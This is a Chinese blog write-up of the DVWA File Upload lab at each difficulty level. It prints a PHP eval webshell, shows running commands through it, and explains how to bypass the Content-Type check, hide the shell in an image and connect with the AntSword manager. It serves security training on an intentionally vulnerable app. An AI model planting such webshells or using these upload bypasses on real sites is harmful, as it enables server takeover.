DVWA File Upload(文件上传)全等级
File Upload(文件上传)
一句话木马的构成
常见的一句话木马:
<?php @eval($_POST['shell']); ?>
最外层的是 <?php和?> 这是php文件的起始和结束标记,
php会解析执行 <?php ?>里面的代码。
然后是eval函数,eval()函数把字符串按照 PHP 代码来计算,简单来说就是它可以执行php代码。
里面$_POST[‘shell’]代表用POST提交参数为shell的值。
1. Low
没有任何校验,想传什么就传什么。
1.上传一句话木马1.php
代码如下:
<?php
@eval($_POST['shell']);
?>
文件保存在根目录/hackable/uploads/shell.php下。
localhost/dvwa/hackable/uploads/1.php?shell= phpinfo();
可以以shell为参数执行php命令。
例如:
可以在shell=echo(exec());里面执行系统命令并且输出到页面。
例如:
2.中国蚁剑
中国蚁剑是一款跨平台的开源网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
添加数据:
然后就获得权限,可以进行数据管理,输入命令等操作。图如下:
2.Medium
查看源码发现对uploaded_type,也就是http报文的Content-Type字段进行了校验,只能是image/jpeg和image/png。
用burp抓包,把Content-Type字段值改为image/jpeg即可绕过,成功上传文件。
3. High
查看源码发现真的只能上传jpg和png图片了
所以尝试上传图片马,打开一个正常的图片,在图片尾部写入一句话木马
然后利用文件包含来进行执行命令
不知道为啥连接不到蚁剑,如果有懂的人希望给我讲一下。
4.Impossible
对上传文件md5重命名了,还对后缀名、文件类型、文件大小进行了限制和检查,杜绝了上传木马文件的机会。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析